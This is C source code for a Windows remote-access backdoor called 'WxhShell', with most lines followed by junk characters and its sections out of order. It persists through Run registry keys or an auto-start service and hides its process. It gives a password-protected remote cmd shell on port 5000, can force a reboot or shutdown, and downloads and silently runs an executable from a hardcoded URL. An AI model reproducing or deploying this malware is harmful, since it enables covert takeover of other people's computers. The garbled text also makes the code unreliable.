    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bO<CR  
    if(Boot(SHUTDOWN)) F4e:ZExJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  TT-h;'nJ  
    else { ApjOj/  
    closesocket(wsh); zq%D/H6J,  
    ExitThread(0); frBX{L  
    } ,\v91Rp~?  
    break; &7_Qd4=08w  
    } Ja ,Cvt  
  // 获取shell _!|/ ;Nk  
  case 's': { pJ ?~fp  
    CmdShell(wsh); >"Q@bQ:e  
    closesocket(wsh); t+Op@*#%  
    ExitThread(0); p6vKoI#T  
    break; /y>>JxAEb  
  } pAk/Qxl3eo  
  // 退出 D\e8,,H  
  case 'x': { iPrLwheb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N:9>dpP}O  
    CloseIt(wsh); #]'rz,E<  
    break; Ka,^OW}<%q  
    } B4]`-mahO  
  // 离开 ]~\sA  
  case 'q': { Y F*OU"2U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?ByM[E$  
    closesocket(wsh); O2"gj"D  
    WSACleanup(); vp.ZK[/`  
    exit(1); O-4C+?V  
    break; r:]1 O*  
        } @9&P~mo/  
  } t3+Py7qv  
  } SI8%M=P>  
gsn)Wv$h  
  // 提示信息 WAn'kA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9+keX{/c  
} v 36%Pj`  
  } (L`j0kPN  
;m2<eS`o'  
  return; rSYi<ku  
} BT@r!>Nl  
#:d =)Qj0  
// shell模块句柄 ooV*I|wcI  
int CmdShell(SOCKET sock)  ;vb8G$  
{ 6[]]Y,Y  
STARTUPINFO si; !`7B^RZ  
ZeroMemory(&si,sizeof(si)); ~0b O}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5#QXR+ T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pn*3\  
PROCESS_INFORMATION ProcessInfo; Q#EP|  
char cmdline[]="cmd"; Sv;_HZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 72veLB  
  return 0; 5 B=^v#m  
} P#:?ok  
wRrnniqf8  
// 自身启动模式 3T&6opaF  
int StartFromService(void) Y\0}R,]a-  
{ U w4>v:  
typedef struct qn,O40/]  
{ f$'2}'.!$  
  DWORD ExitStatus; $Q*<96M  
  DWORD PebBaseAddress; />j';6vi  
  DWORD AffinityMask; eW>3XD4  
  DWORD BasePriority; XerbUkZ  
  ULONG UniqueProcessId; AO UL^$&  
  ULONG InheritedFromUniqueProcessId; f}D1|\7  
}   PROCESS_BASIC_INFORMATION; F"N60>>  
;Q+xK h%  
PROCNTQSIP NtQueryInformationProcess; |_ G )qp;  
boo }u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {$ep7;'d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `f'K@  
K|oacOF9  
  HANDLE             hProcess; FCkf#  
  PROCESS_BASIC_INFORMATION pbi; HD N9.5 S  
07Ed fe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6K-5g/hL  
  if(NULL == hInst ) return 0; -[qq(E  
K6olYG>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wd/< 8>2X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MfmACd^3$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &x > B  
q%5eVG  
  if (!NtQueryInformationProcess) return 0; q:<{% U$  
N D<HXO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BI j=!!  
  if(!hProcess) return 0; B:Z_9,gj-N  
J6<rX[ yZe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C.kxQ<  
~n/ $  
  CloseHandle(hProcess); *SO{\bu  
`EtS!zD~b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V_Wwrhua  
if(hProcess==NULL) return 0; # 6!5 2  
sN("+ sZ.n  
HMODULE hMod; B(F,h+ajy  
char procName[255]; .I@CS>j  
unsigned long cbNeeded; LOTP*Syjf  
<40rYr$/J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +D1d=4  
7n90f2"m  
  CloseHandle(hProcess); M3~K,$@  
XO <y +  
if(strstr(procName,"services")) return 1; // 以服务启动 -rKO )}  
^V|Oxp'7_  
  return 0; // 注册表启动 x 2QIPUlf  
} & /4k7X}y  
pMs AyCAk  
// 主模块 "6a8s;  
int StartWxhshell(LPSTR lpCmdLine) <9sO  
{ [TCP-bU  
  SOCKET wsl; %AN/>\#p  
BOOL val=TRUE; -8N|xQ378  
  int port=0; *G UAO){'  
  struct sockaddr_in door; >{ me  
H_?o-L?+  
  if(wscfg.ws_autoins) Install(); KFZm`,+69  
%Qmk2  
port=atoi(lpCmdLine); z_ =Bt  
A6oq.I0  
if(port<=0) port=wscfg.ws_port; <[GYLN[0Q  
~r{5`;c  
  WSADATA data; N0>0z]4;q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Oa*%kP+  
GTv#nnC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *z'yk*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }CxvT`/  
  door.sin_family = AF_INET; mQ}ny(K'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tb?YLxMV  
  door.sin_port = htons(port); !K? qgM  
y&_m 4Zw"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B??J@+Nf  
closesocket(wsl); _hG;.=sr  
return 1; r ]>\~&?^F  
} R4Rb73o  
k-*Mzm]kb  
  if(listen(wsl,2) == INVALID_SOCKET) { _p?s9&  
closesocket(wsl); FecktD=  
return 1; D=TL>T.b f  
} j6(?D*x  
  Wxhshell(wsl); ,i.%nZw\  
  WSACleanup(); .qob_dRA  
E VQ0l@K  
return 0; tvd0R$5}  
vEQ<A<[Z  
} gw _$  
vB! |\eJ  
// 以NT服务方式启动  _ q(Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )IT6vU"-yd  
{ k'_ P 7  
DWORD   status = 0; vs6,  
  DWORD   specificError = 0xfffffff; I^Z8PEc+  
[_xyl e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f f7(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; htP|3B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1nPZ<^A&@  
  serviceStatus.dwWin32ExitCode     = 0; w{ `|N$  
  serviceStatus.dwServiceSpecificExitCode = 0; #0;HOeIiH  
  serviceStatus.dwCheckPoint       = 0; j8 C8X$  
  serviceStatus.dwWaitHint       = 0; _#o' +_Z  
0|D&"/.R#!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V[a[i>,Z  
  if (hServiceStatusHandle==0) return; >"3>fche  
XN,,cU  
status = GetLastError(); F^!mI7Z|(2  
  if (status!=NO_ERROR) mKq"3 4F  
{ <5@PWrU?[[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nW?R"@Zm  
    serviceStatus.dwCheckPoint       = 0; 69#8Z+dw7  
    serviceStatus.dwWaitHint       = 0; <Q<+4Y{R  
    serviceStatus.dwWin32ExitCode     = status; 3z;_KmM  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;7Oi!BC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G%# 05jH  
    return; f=J<*h  
  } VhEMk\  
,)~E>[=+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [&Hkn5yq  
  serviceStatus.dwCheckPoint       = 0; f c6g  
  serviceStatus.dwWaitHint       = 0; >uJ/TQU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x O7IzqY  
} rsa&Oo D>  
)R{UXk3q}  
// 处理NT服务事件,比如:启动、停止 jw6Tj;c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O7aLlZdg~  
{ u1K\@jlw  
switch(fdwControl) ^Jp*B;  
{ 0"[`>K~7a8  
case SERVICE_CONTROL_STOP: /vE]2Io  
  serviceStatus.dwWin32ExitCode = 0; !.fw,!}hOD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M,:Bl}  
  serviceStatus.dwCheckPoint   = 0; K X]oE+:  
  serviceStatus.dwWaitHint     = 0; i[semo\E  
  { /-0' Qa+*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I_ "Z:v{  
  } UBO^EVJ  
  return; U/qE4u1J6M  
case SERVICE_CONTROL_PAUSE: ]B9 ^3x[:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?TEK=mD#u  
  break; -T/W:-M(  
case SERVICE_CONTROL_CONTINUE: AH{^spD{7,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f3WSa&eF  
  break; 4}KU>9YRA  
case SERVICE_CONTROL_INTERROGATE: ?)3jqQ.  
  break; +~2rW8  
}; R_D c)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )"O{D`uX  
} 6&2LWaWMo$  
;)!"Ty|  
// 标准应用程序主函数 G5]1s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9 -jO,l  
{ KO]N%]:&~  
w\|Ei(  
// 获取操作系统版本 i~qfGl p6)  
OsIsNt=GetOsVer(); .6T6 S v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2Eh@e([PMs  
SlT*C6f  
  // 从命令行安装 =;c_} VY  
  if(strpbrk(lpCmdLine,"iI")) Install(); B!aK  
 YRB%:D@u  
  // 下载执行文件 Fm j=  
if(wscfg.ws_downexe) { g{pQ4jKF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6*1$8G`$8,  
  WinExec(wscfg.ws_filenam,SW_HIDE); _py2kjA6  
} 0kCQ0xB[a5  
J+<p+(^*v  
if(!OsIsNt) { @Hr+/52B  
// 如果时win9x,隐藏进程并且设置为注册表启动 7S2C/f  
HideProc(); c 8'Cq7  
StartWxhshell(lpCmdLine); 2DMrMmLI  
} WBppKj_M  
else  5) lW  
  if(StartFromService()) W$\X~Q'0  
  // 以服务方式启动 jv}=&d  
  StartServiceCtrlDispatcher(DispatchTable); w;`m- 9<Y  
else VfSGCe  
  // 普通方式启动 9F_6}.O  
  StartWxhshell(lpCmdLine); +?N}Y{Y&  
Ht=$] Px  
return 0; J^H =i)A  
} IKf`[_,t]  
)bWrd $X  
O<,r>b,  
,@Z_{,b  
=========================================== a20w,  
4'At.<]jL  
v}il(w;O  
E5x]zXy4  
.1ddv4Hk  
>,g5Hkmqr  
" N <pbO#e  
k0&lu B%  
#include <stdio.h> l`rC0kJ]  
#include <string.h> dm^H5D/A  
#include <windows.h> ]O@"\_}  
#include <winsock2.h> 2bA#D%PHD  
#include <winsvc.h> y1(P<7:t?  
#include <urlmon.h> aV|k}H{wt  
/(%Ig,<"JC  
#pragma comment (lib, "Ws2_32.lib") +J40wFI:y  
#pragma comment (lib, "urlmon.lib")  ~u/@rqF  
41;)-(1  
#define MAX_USER   100 // 最大客户端连接数 ic~Z_?p  
#define BUF_SOCK   200 // sock buffer k46gY7y,9  
#define KEY_BUFF   255 // 输入 buffer 9.Ap~Ay.  
Kx]> fHK  
#define REBOOT     0   // 重启 #Go(tS~o  
#define SHUTDOWN   1   // 关机 W]LQ &f  
<3#<I)#  
#define DEF_PORT   5000 // 监听端口 :,C%01bH|l  
utd:&q|}  
#define REG_LEN     16   // 注册表键长度 +L6" vkz  
#define SVC_LEN     80   // NT服务名长度 rdI]\UH  
)<LI%dQ:'l  
// 从dll定义API +2O=s<fp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2}`R"MeS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |e"/Mf[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OWV/kz5'H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [#X|+M&u6  
k|ip?O  
// wxhshell配置信息 BHiOQ0Fs  
struct WSCFG { {W'8T}q  
  int ws_port;         // 监听端口 6e:P.HqjA  
  char ws_passstr[REG_LEN]; // 口令 |F~88j{VN  
  int ws_autoins;       // 安装标记, 1=yes 0=no T:#S86m  
  char ws_regname[REG_LEN]; // 注册表键名 k.>6nho`TV  
  char ws_svcname[REG_LEN]; // 服务名 ,|x\MHd?t_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >r:X~XnRUj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D% @KRcp^b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j1Fw U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]|BojSL_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E(/ sXji!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 104!!m  
fv5C!> t  
}; T:n< db,Px  
WJcVQM s  
// default Wxhshell configuration 8}K"IW  
struct WSCFG wscfg={DEF_PORT, qp1\I$Y  
    "xuhuanlingzhe", 4f jC  
    1, :tlE`BIp  
    "Wxhshell", @{bb'q['@  
    "Wxhshell", 5h(jeT8"  
            "WxhShell Service", u7(];  
    "Wrsky Windows CmdShell Service", =f4< ({9  
    "Please Input Your Password: ", h+xA?[ c=  
  1, 4a 4N C  
  "http://www.wrsky.com/wxhshell.exe", B<C&ay  
  "Wxhshell.exe" /.2u.G  
    }; e7's)C>/'  
eRVY.E<  
// 消息定义模块 |=,83,a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xtsL8-u f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iRouLd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rV U:VL`2  
char *msg_ws_ext="\n\rExit."; 9C?cm:  
char *msg_ws_end="\n\rQuit."; FRS28D  
char *msg_ws_boot="\n\rReboot..."; DOT=U _  
char *msg_ws_poff="\n\rShutdown..."; 59K}  
char *msg_ws_down="\n\rSave to "; CnQg*+  
xi.IRAZX  
char *msg_ws_err="\n\rErr!"; a G@nErdW  
char *msg_ws_ok="\n\rOK!"; yYBNH1  
A8mlw#`E8b  
char ExeFile[MAX_PATH]; p}f-c  
int nUser = 0; /o\U/I  
HANDLE handles[MAX_USER]; }"0{zrz  
int OsIsNt; 7 {nl..`  
2J&XNV^tJ  
SERVICE_STATUS       serviceStatus; C;%Y\S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,y%ziay  
])S$x{.g  
// 函数声明 OuNj:  
int Install(void); k~R{Y~W!!  
int Uninstall(void); 'hy?jQ'|e  
int DownloadFile(char *sURL, SOCKET wsh); $59nu7yr  
int Boot(int flag); U~CdU  
void HideProc(void); ki`8(u6l  
int GetOsVer(void); H)`@2~Y  
int Wxhshell(SOCKET wsl); 6#O#T;f)  
void TalkWithClient(void *cs); /'mrDb_ip  
int CmdShell(SOCKET sock); =9fEv,Jk  
int StartFromService(void); SF"#\{cjj  
int StartWxhshell(LPSTR lpCmdLine); k=ts&9\  
;Na^]32  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PaxK^*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AzxL%,_  
UDVf@[[hN  
// 数据结构和表定义 )7k&`?Mh  
SERVICE_TABLE_ENTRY DispatchTable[] = 76$*1jB  
{ u7n[f@Eg,%  
{wscfg.ws_svcname, NTServiceMain}, uFC?_q?4\  
{NULL, NULL} NWb} OXK/  
}; p %L1uwLG  
.hc|t-7f  
// 自我安装 HLM;EZ  
int Install(void) _/ct=  
{ pFEZDf}:  
  char svExeFile[MAX_PATH]; \WiqN*ZF  
  HKEY key; Q:pzL "bT  
  strcpy(svExeFile,ExeFile); &ad Y  
)`mbf|,&t{  
// 如果是win9x系统,修改注册表设为自启动 {:,_A  
if(!OsIsNt) { & &6*ez  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { luibB&p1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F. }l(KuJ  
  RegCloseKey(key); %3rTQ:X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5GaoJ v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oPCrD.s  
  RegCloseKey(key); FOeVRq:#  
  return 0; "Wo.8  
    }  oHOW5  
  } Q!YF!WoBX  
} IF5sqv  
else { '/ihL ^^@L  
I/Sv"X6E  
// 如果是NT以上系统,安装为系统服务 KUF$h Er  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ';&0~[R[  
if (schSCManager!=0) Q! Kn|mnN  
{ kkT3 wP  
  SC_HANDLE schService = CreateService kJI3`gS+  
  ( <b6s&"%=  
  schSCManager, 7AI3|Ts]p  
  wscfg.ws_svcname, J`YnT  
  wscfg.ws_svcdisp, v#iFQVBq  
  SERVICE_ALL_ACCESS, Cy<T Vk8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L'13BRu`  
  SERVICE_AUTO_START, &S<? 07Z  
  SERVICE_ERROR_NORMAL, x)j/  
  svExeFile, SOhSg]g  
  NULL, c[&d @  
  NULL, V_Xy2<V  
  NULL, oDz*~{BHg  
  NULL, o>0O@NE  
  NULL 1$);V,DK!  
  ); c/b%T  
  if (schService!=0) ('T4Db  
  { EbG_43SV  
  CloseServiceHandle(schService); m{vT_ei  
  CloseServiceHandle(schSCManager); a_Z.J3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tvTWZ`  
  strcat(svExeFile,wscfg.ws_svcname); 5LO4P>fq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9!5b2!JL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jaK'W  
  RegCloseKey(key); a ZI>x^X  
  return 0; #!w:_T%  
    } {An8/"bv}  
  } lr`?yn1D(  
  CloseServiceHandle(schSCManager); r4 9UJE  
} 4xv9a;fP  
} ?F)_T  
|~z8<  
return 1; +xn&K"]:3  
} chKF6n  
Uy(vELB  
// 自我卸载 6lN?)<uQ  
int Uninstall(void) 8rGl&  
{ axWM|Bw<+  
  HKEY key; mG>T`c|r3  
o,g6JTh  
if(!OsIsNt) { issT{&T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -" 2<h:#  
  RegDeleteValue(key,wscfg.ws_regname); d|>9rX+f  
  RegCloseKey(key); c zZrP"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I h5/=_n  
  RegDeleteValue(key,wscfg.ws_regname); $|>6z_3%  
  RegCloseKey(key); ny278tr Q7  
  return 0; n wY2BIB  
  } NnJ>0|74g  
} en Pzy:C  
} Coga-: 2vu  
else { yonJd  
dD[v=Z_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !}iL O0  
if (schSCManager!=0) ;X+G6F'  
{ }UyzM y,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h{Oz*Bq  
  if (schService!=0) 6>@(/mh*  
  { J%:WLQo  
  if(DeleteService(schService)!=0) { bk/.<Rt  
  CloseServiceHandle(schService); +<'uw  
  CloseServiceHandle(schSCManager); w~bG<kxP  
  return 0; zd?bHcW/h  
  } $~ pr+Ei  
  CloseServiceHandle(schService); " 7l jc  
  } F?}m8ZRv  
  CloseServiceHandle(schSCManager); j09mI$2y67  
} 3{.9O$  
} zi?qK?m  
/IGrp.}  
return 1; A>qd2  
} 1gF*Mf_7  
V_NjkyI  
// 从指定url下载文件 w:m'uB%W  
int DownloadFile(char *sURL, SOCKET wsh) OwNAN  
{ ZrmnQ  
  HRESULT hr; {%]NpFg#b  
char seps[]= "/"; {. s]\C  
char *token; $-C6pZN(X  
char *file; i;E9Za W  
char myURL[MAX_PATH]; W)6U6  
char myFILE[MAX_PATH]; OU0xZ=G  
,\|n=T,  
strcpy(myURL,sURL); ]3gYuz|  
  token=strtok(myURL,seps); ~@b9  
  while(token!=NULL) ==jkp U*=  
  { "U/NMGMj  
    file=token; qg_>`Bv"a  
  token=strtok(NULL,seps); rg#qSrHp  
  } 8r7/IGFg  
|u?k-,uI9  
GetCurrentDirectory(MAX_PATH,myFILE); Y}V)4j  
strcat(myFILE, "\\"); !mw{T D  
strcat(myFILE, file); +~R.7NE%  
  send(wsh,myFILE,strlen(myFILE),0); wZ (uq?3S`  
send(wsh,"...",3,0); H;7O\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :vn0|7W4  
  if(hr==S_OK) UQC'(>.}  
return 0; dg!1wD   
else ')C _An>X6  
return 1; K1m!S9d`x  
GQYtH#  
} htdn$kqG   
~NNaLl  
// 系统电源模块 ZaEBdBv  
int Boot(int flag) 9m<X-B&P  
{ B`RW-14g  
  HANDLE hToken; t[H_6)  
  TOKEN_PRIVILEGES tkp; |Fh`.iT%c  
(P]^8qc  
  if(OsIsNt) { -9tXv+v?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4YU1Kr4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @O  @|M'  
    tkp.PrivilegeCount = 1; d\1:1ucV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j`LT`p"9S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9hz7drhR;\  
if(flag==REBOOT) { oHP >v_ X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?z4uze1  
  return 0; (&N$W&  
} Sgjr4axu  
else { iTKG,$G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?kT~)k  
  return 0; 2vW,.]95M  
} e+]YCp[(  
  } } (GQDJp  
  else { B?/12+sR  
if(flag==REBOOT) { D6pEQdX`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i?P]}JENM  
  return 0; Z3u""oM/  
} H|(*$!~e  
else { Y/:Q|HnXQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bv |jo&0n  
  return 0; K|Ij71  
} 6):sO/es  
} \8C*O{w  
egIS rmL+X  
return 1; +Qb2LR  
} ]UpHD.Of[t  
1W6n[Xg  
// win9x进程隐藏模块 &H p\("  
void HideProc(void) 7W>}7  
{ v J,xz*rc`  
J&] XLr.j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ['9OGV\  
  if ( hKernel != NULL ) =t>`< T|(  
  { ZRVF{D??"%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -*]9Ma<wa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [{.\UkV@  
    FreeLibrary(hKernel); +kdU%Sm  
  } Ff1M~MhG  
8Vg`;_-  
return; OU Yb-  
} ggYIq*4  
T_;G))q'  
// 获取操作系统版本 DrVbx  
int GetOsVer(void) F4aJr%!\6S  
{ Liz 6ob  
  OSVERSIONINFO winfo; 8xGkh?%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P[|B WNei  
  GetVersionEx(&winfo); 9iN!hy[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A.'`FtV  
  return 1; hTNYjXj  
  else 7UEy L }N  
  return 0; ,R9f;BR  
} COl%P  
eJwii  
// 客户端句柄模块 5xn0U5U  
int Wxhshell(SOCKET wsl) <?`e9o  
{ N[?4yV2s  
  SOCKET wsh; v:;C|uE|  
  struct sockaddr_in client; &hM,b!R|  
  DWORD myID; TJGKQyG$L  
<3]/ms  
  while(nUser<MAX_USER) |GLn 9vw7S  
{ mrB hvp""  
  int nSize=sizeof(client); W} +6L|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0aq-drl5\  
  if(wsh==INVALID_SOCKET) return 1; Z#E#P<&d  
ysP/@;jC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0a;F X0S&  
if(handles[nUser]==0) l#(g&x6J  
  closesocket(wsh); ,C12SM*@  
else (V |q\XS  
  nUser++; Yv`1ySR  
  } ]H@uuPT!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (Gb{ckzs  
XajY'+DIsz  
  return 0; Jv$2wH  
} Sv]"Y/N  
Z( clw  
// 关闭 socket N`mC_)  
void CloseIt(SOCKET wsh) =P+wp{?AN|  
{ cH8H)55F  
closesocket(wsh); 0eu$ oel-  
nUser--; V:$ 1o  
ExitThread(0); -wHGi  
} t"@|;uPAu  
uZ{xt6 f  
// 客户端请求句柄 @RG3*3(  
void TalkWithClient(void *cs) 9~ .BH;ku  
{ &I">{J<  
oGjYCVc  
  SOCKET wsh=(SOCKET)cs; Y&Nv>o_}5  
  char pwd[SVC_LEN]; Z-r0 D  
  char cmd[KEY_BUFF]; gZuR4Ti  
char chr[1]; N pIlQaMo4  
int i,j; F u=VY{U4  
i3\oy`GJ  
  while (nUser < MAX_USER) { G}OrpPP  
6/[h24d  
if(wscfg.ws_passstr) { er}'}n`@q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P_}_D{G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D2mAyU -  
  //ZeroMemory(pwd,KEY_BUFF); o0v m?CL#  
      i=0; iO#xIl<  
  while(i<SVC_LEN) { W2V@\  
,DsT:8  
  // 设置超时 y"n~ET}e7  
  fd_set FdRead; $7ME a"a  
  struct timeval TimeOut; %-zH]"Q$  
  FD_ZERO(&FdRead); ZX RN?b  
  FD_SET(wsh,&FdRead); S%%qn  
  TimeOut.tv_sec=8; Vf2! 0  
  TimeOut.tv_usec=0; wZolg~dg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -^%"w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [+2^n7R  
]5MR p7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fN/KXdAy&  
  pwd=chr[0]; ]?5@ObG  
  if(chr[0]==0xd || chr[0]==0xa) { ':fbf7EL<  
  pwd=0; qdnNapWnc  
  break; nFOG=>c}  
  } l%V}'6T  
  i++; X>YOo~yS5  
    } wH5O>4LO  
x~I1(l7r  
  // 如果是非法用户,关闭 socket VY26 Cf"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HCCp<2D"C  
} h!3Z%M  
 0>J4O:k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  o?x|y   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W5yu`Br  
+2enz!z#k  
while(1) { r/w@Dh]{_  
T{kwy3  
  ZeroMemory(cmd,KEY_BUFF); %bETr"Xom  
)%W2XvG  
      // 自动支持客户端 telnet标准   8U$UI  
  j=0; jWjK-q@Y  
  while(j<KEY_BUFF) { v\T1,Z@N^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \YyU5f7';  
  cmd[j]=chr[0]; %=>xzP(z  
  if(chr[0]==0xa || chr[0]==0xd) { U-:Z ^+Y  
  cmd[j]=0; k0=y_7 =(5  
  break; PhL5EYn  
  } 2]KPW*V  
  j++; 7"U,N;y  
    } xL#oP0d<e  
Vc<n6  
  // 下载文件 <GlV!y  
  if(strstr(cmd,"http://")) { H`..)zL|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,l"2MXD  
  if(DownloadFile(cmd,wsh)) ~DS9{Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?-44m#  
  else e=$xn3)McY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `qEm5+`  
  } yL,B\YCf8  
  else { 1Vvx@1  
z{_Vn(Kg   
    switch(cmd[0]) { T+( A7Qrx%  
